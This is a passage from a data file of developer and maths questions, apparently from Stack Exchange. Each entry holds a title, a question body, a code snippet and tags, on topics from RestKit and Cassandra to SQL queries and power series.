server. \nThis code is being used to create a new record on the server but when the
code is executed (I see a record being created on my server) but my tableview is
not updated accordingly, the table view is not updated and therefore the new record
is first visible when restarting the app. Manually refreshing the data from the
server does not help either.\nHopefully someone can give me some pointers, or maybe
a tutorial with Restkit/core data and a POST combined. Thanks!\n\n", "-
(void)createGoalWithName:(NSString *)name andDescription:(NSString
*)goalDescription\n{\n Goal* goal = [Goal object];\n goal.identifier = 0;\n
goal.name = name;\n goal.goalDescription = goalDescription;\n\n // Create a
new instance of the entity managed by the fetched results controller.\n
NSManagedObjectContext *context = [self.fetchedResultsController
managedObjectContext];\n NSEntityDescription *entity =
[[self.fetchedResultsController fetchRequest] entity];\n [NSEntityDescription
insertNewObjectForEntityForName:[entity name] inManagedObjectContext:context];\n\n
[self saveContext];\n\n [[RKObjectManager sharedManager].router routeClass:[Goal
class] toResourcePath:@\"/api/goals\" forMethod:RKRequestMethodPOST];\n\n
[[RKObjectManager sharedManager] postObject:goal delegate:self];\n\n
[self.tableView reloadData];\n}\n\n- (void)saveContext {\n
NSManagedObjectContext *context = [self.fetchedResultsController
managedObjectContext];\n NSError *error = nil;\n if (![context save:&error])
{\n /*\n Replace this implementation with code to handle the error
appropriately.\n\n abort() causes the application to generate a crash log and
terminate. You should not use this function in a shipping application, although it
may be useful during development. If it is not possible to recover from the error,
display an alert panel that instructs the user to quit the application by pressing
the Home button.\n */\n NSLog(@\"Unresolved error %@, %@\", error, [error
userInfo]);\n abort();\n}\n", "iphone ios core-data restkit"], "142127":
["CakePHP doens't support load models?", "I use CakePHP 1.3.9 but I can't use other
Models in a Controller. \nI use and - always empty.\nThe variable also doesn't
work. \nWhy is it not working for me?\n\nI used i18n and must set $locale...\n",
"$this->loadModel('ModelName);", "cakephp models"], "5574128": ["Cassandra crashes
during simultaneous reads and writes on EC2", "We are currently using a cluster of
2 cassandra nodes on 2 larges EC2 instances. Each of them has about 65G of used
data. ( Same setup for Dev and Production ).\nThe issue we are having is during
writes on production - the CPU load becomes 40 + ( 2 core machine ) and eventually
the machines become unavailable and need to be rebooted. I tried mutiple \"tunning
strategies\" such as decreasing the total memtable space, changing ratio of eden
space vs survival space in the young generation, copying larger object directly
from Eden space to the Older Generation, optimizing compaction to run more
frequently, using smaller # of sstables ( I noticed that during the crash disk
utilization was almost none, so I tried to relieve the memory usage).\nLooking at
cassandra system.log, I wasn't able to see any ERRORS or WARNINGs.\nOnly thing that
shows up during the crash is the StatusLogger output.\nIf I run writes on the Dev
cluster, everything runs smoothly - no errors, load is max 1.5-2.\nIf I reboot the
2 production instances, I can run reads and writes for a while before the crash
occurs, otherwise given that machines have been up for 2+ days the crash occurs
within minutes.\nAny suggestions, ideas would be highly appreciated.\nThanks \n",
"", "nosql cassandra scalability pycassa"], "2854231": ["Select disctinct in XSLT
relative to each elements", "I try to retrieve a list of the attribute values of
the children of an element but I want that the values only appears once.\nFor
instance, I have the following XML\n\nAnd I want a result like that:\n\nI've tried
to use the xsl:key element but it only returns the value for one element. In the
example, it only returns 1.1 for the first title but not the second. The xsl I've
used:\n\n", "<root>\n <sec>\n <nom-title>\n <nom-chapter>\n
<nom-article><data att=\"1.1\"/></nom-article>\n <nom-article>\n
<nom-item><data att=\"1.1\"/></nom-item>\n <nom-item><data
att=\"1.2\"/></nom-item>\n </nom-article>\n </nom-
chapter>\n <nom-chapter>\n <nom-article><data
att=\"2.1\"/></nom-article>\n <nom-article><data att=\"1.1\"/></nom-
article>\n </nom-chapter>\n </nom-title>\n <nom-title>\
n <nom-chapter>\n <nom-article><data
att=\"1.1\"/></nom-article>\n </nom-chapter>\n </nom-title>\n
</sec>\n </root>\n", "xslt xslt-1.0"], "5338582": ["How to find the solution of a
function with 2 variables and find a limit involving $(3^x + 2^x)^{1/x}$", "A curve
is defined by the equation $x^2+y^2=16(x^2-y^2)$. Find all points on the curve at
which the tangent line is horizontal.\nI have differentiated the equation and
found\n$$\\frac {dy}{dx} = \\frac {8x-xy^2-x^3}{x^2y+y^3+8y}.$$\nThen, I don't know
how to solve\n$$8x-xy^2-x^3 = 0.$$\nAlso, I computed the limit shown below. The
answer is 2, but the correct answer is $\\ln 12^\\frac13$:\n$$\\lim_{x\\to0^+} \\
left(\\frac133^x+\\frac232^x\\right)^\\frac1x$$\n$$=\\lim_{x\\to0^+} \\left(\\
frac{\\frac133^x\\ln3+\\frac232^x\\ln2}{(\\frac133^x+\\frac232^x)}\\right)$$\n$$=\\
lim_{(\\frac{2}{3})^x\\to0^+} \\left(\\frac{\\frac13\\ln3+\\frac23\\frac23^x\\ln2}
{(\\frac13+\\frac23(\\frac23)^x)}\\right)$$\nHow can I solve it?\n", "", "limit
derivatives"], "2159408": ["Which Linux distributions support IPv6?", "Which Linux
distributions support the IPv6 stack (like Windows Vista supports IPv6)?\n", "",
"linux ipv6"], "5598881": ["Salesforce - where do I edit the fields included in the
\"Add Products\" page?", "I know how to edit the page layouts for the opportunity
products search page, when you search for products to add to an opportunity after
choosing your price book. But what about the subsequent page, which displays the
products I've selected and asks me to fill in quantity, price, etc. How can I add
additional custom fields I've created to that page's layout? \nThe option to edit
doesn't seem to appear in either Edit Page Layouts or Edit Search Layouts options
under Opportunity Product Setup.\n", "", "salesforce"], "2316936": ["structuremap
named configuration", "I configure structuremap like this:\n\nCan I make this
shorter by telling somehow that ALL the settings in this configuration call are
named after CommonModule.ModuleName (instead of one by one)? Something like:\n\n",
" ObjectFactory.Configure(x => {\n
x.For<IA>().Use<A>().Named(CommonModule.ModuleName);\n
x.For<IB>().Use<B>().Named(CommonModule.ModuleName);\n
x.For<IC>().Use<C>().Named(CommonModule.ModuleName);\n
x.For<ID>().Use<D>().Named(CommonModule.ModuleName);\n ...\
n ...\n ...\n });\n", "c# .net structuremap"],
"4119103": ["small shell only linux server", "i've been running linux for a while
and i think i'm starting to \"understand\" it. Now, i want to try and master the
shell and server-side stuff so, i'm looking for a distro, shell only, to run
servers like apache, ftp, and make a git remote repository.\nI need it to be simple
enough so i can install it as a virtual machine (virtual box) and it doesn't make
it hard to have network running out of the box.\nThanks for your help \n", "",
"linux server"], "5179361": ["IE 6 Compatible Content Slider suggestions", "I am
working on a site that requires a selection of images to appear in a tabbed
featured content area. Does anyone know of a good (IE=>6) compatible content slider
that would allow me to do this? Any language goes, but the simpler the better.\
nThanks!\n", "", "html content slider featured"], "257449": ["Detect Mobile Safari
full-screen mode using media queries", "iOS6 introduced a new full-screen mode for
Mobile Safari. It is only available in landscape orientation and hides the browsers
top and button bar, as well as the devices status bar. \nHow is it possible to
detect the new mode using media queries? I tried using the width media query, but
couldn't get it to work.\nI was able to differentiate them using JS , which returns
208 on default and 320 on full-screen mode.\nBtw: I'm not talking about starting
the app from the home screen, which is a different kind of full-screen mode.\n",
"document.documentElement.clientHeight", "ios css mobile-safari ios6 media-
queries"], "3104159": ["Two table SQL query based on a field within the query while
pulling from another table", "Okay this may sound a bit weird but it is what I have
to work with.\nI have a special installer that will be utilizing powershell to do a
query to an access 2007 database\nThe first table is
a list of programs. One column in the table is prog_pre which indicates that the
program has something that must be installed before it can be installed\nthe
pre_req table has a column called prog_id which is the unique ID for the particular
program that has a requires another program to be installed first.\nIt also has the
prog_pre column which references the unique id in the program table.\nWhat I want
to do is when I preform a query like \n\nprogram 3 which is barware has a pre_req
so I want it to also loop through the pre_req table grab the IDs of the pre
required programs and also add it to the query.\nIs there a way to do this, or am I
stuck with simply preforming two queries?\nprogram table\n\
n---------------------------------------------------------------\nID prog_name
prog_version prog_pre\n1 Access 2007 No\n2 Acrobat
2012 pro No\n3 barware 2012 Yes\n4 Fooware
2012 No\n5 foomaker 2012 No\
n----------------------------------------------------------------\n\npre_req table\
n\n----------------------------------------------------------------\nid prog_id
prog_pre\n1 3 4\n2 3 5\n\n\nThe desired results would be an
array as follows\n3 barware 2012 Yes\n4 Fooware
2012 No\n5 foomaker 2012 No\n\nAs the field
prog_pre was yes, it also included the two prog_pre progam ids listed in the
pre_Req table\n", " Select * \n from program_table \n WHERE ID = '3'\n", "sql
powershell ms-access-2007"], "2830333": ["scopes and c++ pointers", "I have the
following code:\n\nwhich prints\n\nif I remove the scope parenthesis the code will
print\n\nWhat exactly happens when I leave the first scope, that the pointer to the
first string now points to the second one?\n", "using namespace std;\
nvector<string*> v;\n{\n string s = \"hello\";\n v.push_back(&s);\n}\n{\n string
ss = \"goodbye\";\n v.push_back(&ss);\n}\n\ncout << v.at(0)->c_str() << endl;\
ncout << v.at(1)->c_str() << endl;\n", "c++ scope"], "2749665": ["passing an
undetermined number of arguments to a function - PHP", "\nPossible Duplicate:\
nUnlimited arguments for PHP function?\nForward undefined number of arguments to
another function \n\nI am setting up a Gearman server in order to 'delegate' the
execution of a method on an object, like for example :\n\nor \n\n(where remote1 and
remote2 are remote social networks)\nMy idea is to wrap the object, the method
name, and the arguments (also with some other parameters like the language) into an
object that I can serialize and send to the gearman worker, with something like
this :\n\nthen I would be able to do in my main script \n\nand in my gearman
worker, i can simply call a 'execute' task like\n\nThe method execute above will
work if I am give a single argument, but how can I do if I need to give
undetermined number of arguments. Most of my method using maximum 2 arguments, I
could write \n\nOne solution is to use eval(),but I would prefer to avoid it.\nDo
you know any way to pass the arguments to a function ?\nEDIT\nthis topic has been
closed as being a duplicate of 2 older topics. The first one was about the
call_user_func_array() function which would do the job for a user function, but not
for an object. The second topic Forward undefined number of arguments to another
function mentions the use of ReflectionClass. I did some homeworks, and here is the
outcome using ReflectionMethod::invokeArgs. \n\nHope it can help. And thanks for
the links to the second topic.\n", "$user->synchronize();\n", "php function
arguments gearman"], "609161": ["pfSense iso.gz doesn't seem to be a compressed iso
image", "I downloaded the latest pfSense ISO (pfSense-2.0.1-RELEASE-i386.iso.gz)
and had 7zip extract it, but it just shows me the disk contents. I cannot extract
the actual ISO file to burn it with the boot sector properly in place. What am I
doing wrong?\n", "", "iso-image 7-zip gzip"], "5140634": ["Use COM interface
without statically linking to library", "This may be a bit of a newbie question,
but I just don't know! To use a function in a DLL that might not be present on the
system I can use and then . But how can I do the same thing for a COM interface? I
can include the header file for the declarations, IID's, and so on.. but I don't
want to link against the accompanying library using .\n(I'm trying to use the
interface, and that requires linking against windowscodecs.lib to compile)\nThanks\
n", "LoadLibrary", "c++ windows com dynamic-linking"], "4964050": ["ASP.NET MVC 4
Web API Authentication with Membership Provider", "I have an ASP.NET MVC 4 Project
using the Web API. On the controller I have set the class to require authorization
using the [Authorize] attribute. For Authentication I am using the ASP.NET
Membership Provider and have my Web.Config set to use \"Forms\" Authentication.
Here is where I am stuck:\nEverything is working great up until the point that I am
done with testing the API and I want to secure the controller with the [Authorize]
attribute so I can start testing authentication against users in my Membership
Provider. So I fire up Fiddler and make the same call adding the
Authorization:Basic attribute along with a username:password from my membership
provider like so:\n\nThe response I get is 401 unauthorized and under \"Auth\" I
get \"No WWW-Authenticate Header is present.\" Then I realize that the API is
looking for an SHA1 encoded key. So I fire up an SHA1 generator from a search and
get a hash for my username:password and update my Request Header like so:\n\nThis
does not work either and I get the same results. Also I obviously need some sort of
\"shared secret key\" to use with the server to decode my username/password.\nSo my
questions:\n\nHow do I get this key from the server (or in this case Virtual IIS
running off VS 2012).\nHow do I use this to make Authenticated calls in Fiddler
using usernames/passwords from an ASP.NET Membership Provider.\nHow will I use this
in my client application to make the same calls (C# WPF App).\nIs this best
practive when combined with SSL on my HTTP calls? If not what is?\n\nThanks in
advance!\n", "", "asp.net-mvc asp.net-membership forms-authentication asp.net-web-
api fiddler"], "4814209": ["After installing VS 2010 - Generic Host Process For
Win32 Services problem starts", "After installing VS 2010 trial I am getting this
error \"Generic Host Process For Win32 Services Encountered A Problem and needs to
close.\nWhen this message pops my computer just stuck and I can not even restart it
normally. I have found one fix on net but after that fix I can not access my LAN.\
nThis fix change these values in registry.\n\nIf I revert these registry changes
then I again start getting 'Generic Host Process For Win32 Services'\nI have
uninstall VS 2010 but this problem persist. This problem is not because of any
virus.\nEdit:\nWhen ever I install Windows Xp Service Pack 3. This problem starts\
nAny help to fix this or I have to re install Windows.\nThanks.\n", "HKLM\\SYSTEM\\
CurrentControlSet\\Services\\netbt\\parameters TransportBindName\nHKLM\\Software\\
Microsoft\\OLE EnableDCOM\n", "windows-xp windows-registry sp3 visual-studio-
2010"], "1840584": ["Is there a way, or tag to use, to centre any HTML element?",
"Is there any code or tag which can be used to centralise any HTML element? The
only way I know to do this currently is to repeatedly adjust padding and margins
(left) to push elements to an approximate centred position. I'm aware you can
centralise text, but this doesn't appear to work for other elements such as divs,
objects, etc.\n", "", "css center"], "5277643": ["How can I insert a record and
lock that row simultaneously?", "I'm inserting a row using an Oracle stored
procedure which is configured to use an autonomous transaction. I'd like to insert
this record, commit that transaction, and then lock the newly-inserted record so
that nobody else can modify it except my current session (in another transaction,
obviously, since the one that inserted it is autonomous).\nHow can I ensure that
nobody else gets a lock on this new record before I have a chance to it?\nUsing
Oracle 10g.\n", "SELECT...FOR UPDATE", "sql oracle plsql locking"], "2439258":
["How Cakephp2.x connect Oracle 11g?", "I could not connect oracle with cakephp2,
After search a few hour i found and followed link step by step still not success,
my oracle 11g\nerror: \n\nORA-12514: TNS:listener does not currently know of
service requested in connect descriptor\n\n", "", "oracle11g cakephp-2.0"],
"4222026": ["How to distribute ios app to my European enterprise customers NOT
through appstore", "We have created a messaging app and regularly post updates to
the appstore. This way, appstore contains always the latest & greatest, with a
small risk of bugs.\nWe want to build a stable version for our business customers
(who do in-house messaging), which updates very seldom or never. Our customers want
to control the rate of updates themselves.\nTelling their employees not to upgrade
does not work, since new installs always get the latest version from the appstore.\
nQuestion:\n\nCan I use the enterprise distribution certificate of my own company
and deliver the app binaries to my customers (e.g. a different binary per
customer)?\nOr should I create a different version in the appstore for each
customer?\nOr should I force my customers to request their own enterprise
distribution certificate, which is a hassle I would like to avoid?\n\nI guess that
the answer to my first question is NO, as indicated in Can the iOS enterprise app
development program be used to distribute apps to other companies but not via the
app store? \n2 is annoying, since everybody in the world can see & install the app\
n3 is annoying, since
it requires time of my customer plus a legal contract such that I can request a
certificate for my customer, use their private key, ...\n", "", "ios distribution
enterprise"], "5926114": ["Setting default category for display", "The default
category for the page News is news.\nBut I want the page news to show all posts. \
nNot just news posts.\nAll posts, includes news posts and engineering posts.\nWhen
you hit the main site is http://www.papermepress.com, it does indeed do this, as
you can verify.\nBut when you go to News it it only shows the news category.\nHow
do I fix so that it show both?\n", "", "posts default"], "1247220":
["MPMoviePlayerController from SDL application", "I am writing/porting and SDL
based game to iOS.\nAnd I need something to play game animations, but I'm not sure
how to do it properly. I guess that somehow I need to use MPMoviePlayerController
or AVFoundation framework to play the move.. I have no idea how to properly add it
and remove it from sdl application.\nI'm not very familiar with obj-c and I don't
know how to display new views/viewcontrollers over sdl library running ones, and to
properly remove it.\nWhat I need is something like SDL_PlayMovie(path_to_movie)
that would show full screen movie no controls or anything needed.. that would
return when someone taps screen.\nAny ideas/pointers?\n", "", "ios sdl"],
"3593937": ["pgfplots - lack of one bar", "I want to make a chart with nine bars.
As you can see they are in the code (0-8). Unfortunately it's making only eight
bars.\n\n", "\\documentclass[12pt]{report}\n\\usepackage{polski}\n\\
usepackage{pgfplots,tikz}\n\\pagestyle{empty}\n\\
pgfplotsset{width=14cm,compat=1.3}\n\\begin{document}\n\\begin{tikzpicture}\n\\
begin{axis}[\nx tick label style={\n/pgf/number format/1000 sep=},\
nylabel=Prawdopodobie\u0144stwo,\nenlargelimits=0.02,\nlegend style={at={(0.5,-
0.15)},\nanchor=north,legend=-1},\nybar interval=0.8,\n]\n\\addplot \ncoordinates{\
n(0,0.00390625)\n(1,0.03125)\n(2,0.109375)\n(3,0.21875)\n(4,0.273438)\n(5,0.21875)\
n(6,0.109375)\n(7,0.03125)\n(8,0.00390625)\n};\n\\addplot \ncoordinates{\
n(0,0.00405)\n(1,0.03143)\n(2,0.10847)\n(3,0.21984)\n(4,0.2723)\n(5,0.2166)\
n(6,0.11272)\n(7,0.03062)\n(8,0.00397)\n};\n\\addplot \ncoordinates{\
n(0,0.00261035)\n(1,0.0237304)\n(2,0.107973)\n(3,0.221879)\n(4,0.270052)\
n(5,0.22449)\n(6,0.108685)\n(7,0.0363075)\n(8,0.00427148)\n};\n\\legend{Rozklad
teoretyczny,Rozklad dla n=100000,Rozklad dla n=4214}\n\\end{axis}\n\\
end{tikzpicture}\n\\end{document}\n", "pgfplots"], "3562965": ["implementing a
rudimentary scp", "I am planning to learn usage of the openssh library and have
been thinking of implementing a rudimentary scp to help with the learning.\nWhere
will I find the information that I will need to implement scp? I have tried going
through the openssh documentation, but was wondering if there is an easier starting
point for openssh beginners?\n", "", "scp openssh"], "2208018": ["Injection of a
stateless EJB into JSFmanaged bean causes NullPointer ex in WAS 8.5", "A Java EE 6
Project using JSF 2.x mojarra implementation (both 2.0 and 2.1 tested) where
session beans are injected via @EJB annotations into JSF managed beans fails in
Websphere Application Server 8.5 whereas it functions on Glassfish 3.x (tested on
GF 3.0 & 3.1 respectively) as it is:\nThe coding approach is like below:\
nSomeEJBFacade.java\n\nTestBean\n\nJSF facelet fragment:\n\nthe above causes a Null
Pointer Exception from TestBean's testStr() method.\nLikewise any JPA transactional
method throws null pointer exceptions at\nsimilar points.\n", "@Stateless\npublic
class SomeEJBFacade() {\n\n public String testMethod() {\n
return \"testing 1 2 3\";\n }\n\n}\n", "jsf ejb websphere injection"],
"2813224": ["Crystal Reports vs ReportViewer Pros/Cons?", "We have been designing
our reports around Crystal Reports in VS2008 for our web application and I just
discovered the Microsoft provided ReportViewer control. I've searched around a bit
but cannot find a good breakdown of the pros and cons of each method of producing
reports.\nI'm looking for pros and cons regarding:\n\nEase of development\nEase of
deployment\nAbility to export data\nEase of support and finding help on the web\n\
n", "", "crystal-reports reporting"], "380782": ["How can I make BizTalk read files
in a directory in a certain order?", "I'm not a BizTalk expert but my colleagues
that are, say that BizTalk cannot read files from a folder in a ordered way. Only
socket and queues support this.\nThey asked me to write a small tool that will read
the files ordered by filename or by creation date and put those on a queue.\nBut
isn't there a way that this can be done in BizTalk itself? Personally I'm not fond
of the idea that a custom windows service has to be made to accomplish this.\n",
"", "biztalk messaging"], "3152088": ["Customer Requirements Contains Equations
that Cancel to Nothing", "I have a project where the customer requirement specifies
a report and contains mathematical equations for the contents of some of the
columns on that report. One of the columns on this report is a running total which
starts at a opening value, and which 'should' remain at that opening value all the
way down the report because the other stuff balances out. I.e. if something had
gone missing, the value would change and the customer would see that there is a
problem.\nThe reason I quoted the 'should' in that last paragraph is because the
spec defines an equation for this column, and I can mathematically prove that it
cancels out to 'the value from the previous row'. In other words, the value will
never ever change from the opening value.\nSo my options are:\n\nImplement the
equation as spec'd, I suspect the interpreter will not resolve the equation so
there will be a performance hit\nDo some cancelling out, and implement the column
value as 'value from the previous row'\nSend the question back up the chain to the
customer and risk missing the deadline because of several days lost to bureaucracy
and impromptu math 101 lessons to explain the difference between \"yeah, it'll
never change, it's there just in case\" and \"it. will. never. change.\" \n\nI've
pretty much decided what I'm going to do, but I thought it was an interesting
question. What do you think is the professional thing to do?\n", "", "math
specifications customer-relations reporting"], "2785445": ["action listener in
another class - java", "it is possible to have two class, and in one something
like\n\nand in another\n\n//and more\nthe reason of that is because i need to
separate the button (swing) to the action listener\nhow i can do ?\nthanks\n",
"arrayButtons[i][j].addActionListener(actionListner);\n", "java swing listener"],
"3927450": ["C# class method. How to fail and return why?", "I am sure there is
a \"good\" way of solving this, but it's something that has always bugged me. I
have a method that is supposed to return an object, but has certain preconditions
for its parameters. These are outside my control and can fail for \"business
logic\" reasons (if you'll forgive the stale term).\nThe return value of the object
would be null but I'd also like to pass back why, so the calling code can
essentially say \"I didn't get my object back because there wasn't enough
information to build it\".\nI don't feel like try catch is the right approach, but
have been using it in this situation for want of a better approach. All my reading
here on stackoverflow and textbooks and MSDN seem to focus either on when or how to
use exceptions, but I am somehow failing to come up with an approach for this
case.\nCan anyone suggest a pattern that would be more appropriate? (first post
so... pls forgive any faux pas)\nHere's a sample I have been playing with by way of
example: (note the throw new Exception line below the // TODO comment)\n\n",
"public static Packet Parse(string packetString)\n{\n Packet returnPacket = new
Packet();\n StringBuilder output = new StringBuilder();\n\n try\n {\n
using (XmlReader reader = XmlReader.Create(new StringReader(packetString)))\n
{\n XmlWriterSettings ws = new XmlWriterSettings();\n
ws.Indent = true;\n using (XmlWriter writer = XmlWriter.Create(output,
ws))\n {\n string rootNodeString = string.Empty;\n\n
// Parse the packet string and capture each of the nodes.\n while
(reader.Read())\n {\n //test root node is the
correct opening node name\n if (rootNodeString == string.Empty)\
n {\n if (reader.NodeType !=
XmlNodeType.Element || reader.Name != PACKETROOT)\n {\n
// TODO: I don't really think this should be an exception, but going with it for
now for expediency, since XmlReader is doing the same anyway\n
throw new Exception(string.Format(\"The root node of a Packet must be <{0}>\",
PACKETROOT));\n }\n else\n
{\n rootNodeString = reader.Name;\n
}\n }\n\n switch (reader.NodeType)\n
{\n case XmlNodeType.Element:\n
Console.WriteLine(string.Format(\"start element = {0}\", reader.Name));\n
break;\n case XmlNodeType.Text:\n
Console.WriteLine(string.Format(\"text = {0}\", reader.Value));\n
break;\n case XmlNodeType.XmlDeclaration:\n
case XmlNodeType.ProcessingInstruction:\n
Console.WriteLine(string.Format(\"XmlDeclaration/ProcessingInstruction
= {0},{1}\", reader.Name, reader.Value));\n break;\n
case XmlNodeType.Comment:\n
Console.WriteLine(string.Format(\"comment = {0}\", reader.Value));\n
break;\n case XmlNodeType.EndElement:\n
Console.WriteLine(string.Format(\"end element = {0}\", reader.Name));\n
break;\n }\n }\n\n }\n }\n\n
}\n catch (XmlException xem)\n {\n Console.WriteLine(xem.Message);\n
throw;\n }\n\n return returnPacket;\n}\n", "c# .net error-handling"],
"4452193": ["Nhibernate 3 Primary Key mapping, Native gives a mutch higher ID then
it should", "After SaveAndFlush to create a new object in the database and then
take out the pirmary key ID its gives a mutch higher value then it should.\nIn the
database its creates a example ID 45 and in the code we get 23432 or something...\
nWe has upgraded from NHibernate 1.1 to NHiernate 3 and trying to get it to work.\
nSome ideas?\n", "", "mysql nhibernate castle-activerecord"], "5343387": ["excel
mark duplicates values", "I have a data like this:\n\nI am using excel and i want
to use an if condition to determine when a person have two same values. How can i
do this for the whole sheet?\nthanks.\n", "input:\nperson1 9\nperson1 8\
nperson1 8\nperson2 7\nperson2 8\nperson3 6\nperson3 8\nperson3
6\n\noutput this:\nperson1 9 no\nperson1 8 yes\nperson1 8 yes\
nperson2 7 no\nperson2 8 no\nperson3 6 yes\nperson3 8 no\
nperson3 6 yes\n", "excel duplicates"], "5559665": ["Uniqueness of power
series", "Is there two sequences of real numbers $a_i$ and $b_i\\neq 8$, not
depending on $x$, such that $x^8=\\sum_{k=1}^{\\infty}a_kx^{b_k}$ for all $x$?\nIf
$\\displaystyle\\sum_{k=1}^{\\infty}a_kx^{b_k}=\\sum_{k=1}^{\\infty}c_kx^{d_k}$ for
all $x>1$, and all coefficients are real and $b_k>b_{k+1}$, and $d_k>d_{k+1}$, is
there a way to prove that $a_k=c_k$ and $b_k=d_k$ for all $k$?\n\nIf $\\
displaystyle\\sum_{k=1}^{\\infty}a_kx^{b_k}=0$ for all $x>1$ and $b_i\\neq b_j$,
and all coefficients are real, must $a_k=0$?\n", "", "real-analysis sequences-and-
series power-series"], "3492480": ["advice on securing user login", "I'm using the
following code for my user login. Everything works fine but im just wondering the
security of using this. I'm using the userid as the sessionid when a user logs in.\
nWhat are my security issues with using this?\nCan the user change the sessionid to
a different number and then be logged in as a different user? (how do i stop
this?)\n\n", "if (!empty($row['member_id']))\n {\n $_SESSION['id'] =
$row['member_id'];\n header (\"Location: team.php\");\n exit();\n", "php
security"], "3299118": ["How to mock REST Services?", "I have a maven/mule/spring
development environment that I build REST services within. I also have a series of
TestNG tests to validate these services. I also want the ability to alter the
responses from the services, either returning specific information or throw an
exception. This was I can automatically test broader behaviours of the services.
I figured that mocking the services would be the best approach, but I cannot find
any good information on how to mock a REST service.\nIs there any material I can
review on how to mock a REST web service?\n--Update---\nI thought I would add an
example to make the problem more concrete. If I have the following setup:\n\nIf
serviceA should return a web exception to testA if serviceB responds with an error,
I would like to inject a mockedServiceB in to the system for the test where
mockedServiceB always returns an error:\n\n", "testA calls serviceA, which then
calls serviceB\n", "spring testing rest mocking mule"], "1840582": ["FTP error :
503 bad sequence of commands?", "I am using FileZilla FTP Server windows edition. \
nI wrote a java programe to connect to my FTP server, and send FTP raw commands to
the server via socket.\nwhen I send \"LIST\", I got 503 error :\n\nplease help\
nbest regards\n", "(000002)2011/6/1 10:46:56 - (not logged in) (127.0.0.1)>
Connected, sending welcome message...\n(000002)2011/6/1 10:46:56 - (not logged in)
(127.0.0.1)> 220-FileZilla Server version 0.9.37 beta\n(000002)2011/6/1 10:46:56 -
(not logged in) (127.0.0.1)> 220-written by Tim Kosse ([email protected])\
n(000002)2011/6/1 10:46:56 - (not logged in) (127.0.0.1)> 220 Please visit
http://sourceforge.net/projects/filezilla/\n(000002)2011/6/1 10:46:56 - (not logged
in) (127.0.0.1)> USER ggfan\n(000002)2011/6/1 10:46:56 - (not logged in)
(127.0.0.1)> 331 Password required for ggfan\n(000002)2011/6/1 10:46:56 - (not
logged in) (127.0.0.1)> PASS *****\n(000002)2011/6/1 10:46:56 - ggfan (127.0.0.1)>
230 Logged on\n(000002)2011/6/1 10:46:56 - ggfan (127.0.0.1)> LIST \
n(000002)2011/6/1 10:46:56 - ggfan (127.0.0.1)> 503 Bad sequence of commands.\
n(000002)2011/6/1 10:46:56 - ggfan (127.0.0.1)> QUIT\n(000002)2011/6/1 10:46:56 -
ggfan (127.0.0.1)> 221 Goodbye\n", "java ftp"], "3309858": ["url_for inside include
with jinja2", "I'm using flask with a jinja2 template which includes another jinja2
template called buttons.html.\nThe parent of the buttons template looks like this:\
n\nThe blueprint code looks like this:\n\nThis allows me to take advantage of the
fact that jinja will resolve the . prefixed url_for path to the current blueprint
context and thus give me buttons rendered specifically for the blueprint in which
this is rendered. I use the .prefix method in other cases, but haven't tried the
nested url_for in this context. Unfortunately, I can't seem to get this to work,
presumably because of the nested {% {{ }} %}.\nIs this possible?\n", "{%
include \"{{ url_for('.buttons') }}\" %}\n", "python flask jinja2"], "4203398":
["Is there a standard pointer size declaration?", "I have struct with padding in
(oops, my bad). I would like to subtract a pointer size. Do you know a standard
pointer size declaration, or a standard macro for that?\n", "char", "c pointers
struct standards"], "5947324": ["How to feed WordPress Blogs into Facebook", "I
would like to be able to automatically import my WP blogs into a Facebook page for
a client.\nI know that there are wp plugins that used to do this, but Facebook now
requires ssl connections and these plugins no longer work. I think that there may
be a way of using the Facebook API, (kind of like an rss feed) but I can't find any
instructions. Can anyone help?\nThanks.\n", "", "facebook wordpress api rss"],
"5904597": ["C# - How to Delete temporary internet files", "C:\\Users\\Username\\
AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\nI want to clear this
folder completey. Folder is changing according to the installed windows. So it has
to be dynamic. Thank you.\nC# application , netframework 4.0\n", "", "c# file .net-
4.0 internet temporary"], "909801": ["Is depth peeling for intersecting transparent
objects still up to date?", "I want to use depth peeling, so that I can correctly
render transparent intersecting objects. Is this still the way to do, or are there
better ways for the problem today ?\nThanks in advance.\n", "", "rendering
transparent ordering depth"], "2720645": ["How do I remove an element that matches
a given criteria from a LinkedList in C#?", "I have a LinkedList, where Entry has a
member called id. I want to remove the Entry from the list where id matches a
search value. What's the best way to do this? I don't want to use Remove(),
because Entry.Equals will compare other members, and I only want to match on id.
I'm hoping to do something kind of like this:\n\nedit: Can someone re-open this
question for me? It's NOT a duplicate - the question it's supposed to be a
duplicate of is about the List class. List.RemoveAll won't work - that's part of
the List class.\n", "entries.RemoveWhereTrue(e => e.id == searchId);\n", "c# .net
data-structures"], "4810874": ["how to combine a template from other processed
templates?", "\nI have a django project pro1 with several apps: app1, app2, app3
and so on. I want to display some top level template that contains blocks from each
and every app:\nexample_base_template.html:\n[header /]\n[left nav bar]{{ app1
rendered template }}[/left nav bar]\n[right nav bar]{{ app2 rendered template
}}[/right nav bar]\n[center section]{{ app1 main functionality template }}[/center
section]\n[footer]{{ app3 rendered template }}{{ app4 rendered template
}}[/footer]\nAll those app templates are dynamic, that use DB. How to do that in
the most proper and elegant way? Or maybe the question is how to connect 4
different views to one url?\nbest regards\nchriss\n", "", "django django-
templates"], "838665": ["Is this a bad way to structure my Sql Server database?",
"I have a table that contains a few columns and then 2 final (nullable) columns
which are varbinary (actually, they are SQL 2008 geography types, but I want to
keep this post database agnostic).\nI've hit around 500mb with around 200K rows.
The varbinary is the problem - and I need the data.\nSo, I was wondering if it's
bad if I do the following:-\n\nCreate a separate FILEGROUP: SpatialData.mdf \
nCreate a new table, assigned to that new filegroup.\nMove all the spatial data
(read: last two fields) out of the original table and into the new table. The new
table has a foreign key against the original table.\nCreate a view representing
both tables.\n\nNow, the view will be a left outer join because the relationship
is: the new table has a zero or one row relationship to the original table.\nEG.\
nOriginal Table\n\nNew Table\n\nThe reason why I want to know if this is bad is
because of the view and how the view is doing a join on the spatial table. I'll be
using the view a lot. Currently,
I'm just doing queries against the original table (because the new table doesn't
exist just yet). By adding this join and the PK/FK relationship, will this impact
performance?\nWhy split the data? I need to download the live DB to our dev servers
now and then. We don't really care too much about those two spatial fields, so not
having them is fine. Therefor, the size of the database to download will be much
smaller.\nThoughts?\n", "FooId INT PK NOT NULL IDENTITY\nBlah VARCHAR(..) NOT NULL\
nBoo WHATEVER NOT NULL\n", "sql design architecture views join"], "704036":
["Showing $\\sum _{k=1} 1/k^2 = \\pi^2/6$", "\nPossible Duplicate:\nDifferent
